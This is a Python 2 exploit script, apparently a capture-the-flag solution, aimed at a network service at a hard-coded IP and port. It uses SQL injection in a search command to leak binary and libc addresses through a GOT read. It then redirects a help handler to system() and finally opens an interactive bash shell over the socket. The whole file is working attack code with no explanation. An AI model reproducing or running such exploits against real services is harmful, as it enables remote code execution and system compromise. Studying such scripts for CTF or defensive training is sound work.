#!/usr/bin/python
import struct
import socket
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('88.198.89.199', 1234))
f = s.makefile('rw', bufsize=0)

f.readline()
f.readline()
f.readline()
f.readline()

f.write('login qqq qqq\n')
f.readline()

f.write("search ' union select 0 union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9 union select 0x0d; # \n")
f.readline()

f.write('show 11\n')
do_login = struct.unpack('<Q', f.readline().strip()[4:].ljust(8, '\x00'))[0]
binary_base = do_login - 0x19d0
print 'binary_base =', hex(binary_base)

help_str = binary_base + 0x21DC
null_str = binary_base + 0x2163 + 1
do_help = binary_base + 0x17a0
any_regex = binary_base + 0x2238
libc_start_main_got = binary_base + 0x203070

data = struct.pack('<Q', 0)
data += struct.pack('<Q', 3)
data += struct.pack('<Q', help_str)
data += struct.pack('<Q', null_str)
data += struct.pack('<Q', do_help)
data += struct.pack('<Q', libc_start_main_got)

f.write("search ' union select 0 union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9 union select 0x%s; # \n" % data.encode('hex'))
f.readline()

f.write('help\n')
f.readline()
libc_start_main = struct.unpack('<Q', f.readline().strip().ljust(8, '\x00'))[0]
f.readline()
f.readline()
f.readline()

libc_base = libc_start_main - 0x0000000000021cf0
print 'libc_base =', hex(libc_base)
system = libc_base + 0x0000000000046320

data = struct.pack('<Q', 0)
data += struct.pack('<Q', 3)
data += struct.pack('<Q', help_str)
data += struct.pack('<Q', any_regex)
data += struct.pack('<Q', system)
data += struct.pack('<Q', help_str)
f.write("search ' union select 0 union select 1 union select 2 union select 3 union select 4 union select 5 union select 6 union select 7 union select 8 union select 9 union select 0x%s; # \n" % data.encode('hex'))
f.readline()

f.write('help bash -i\n')

t = telnetlib.Telnet()
t.sock = s
t.interact()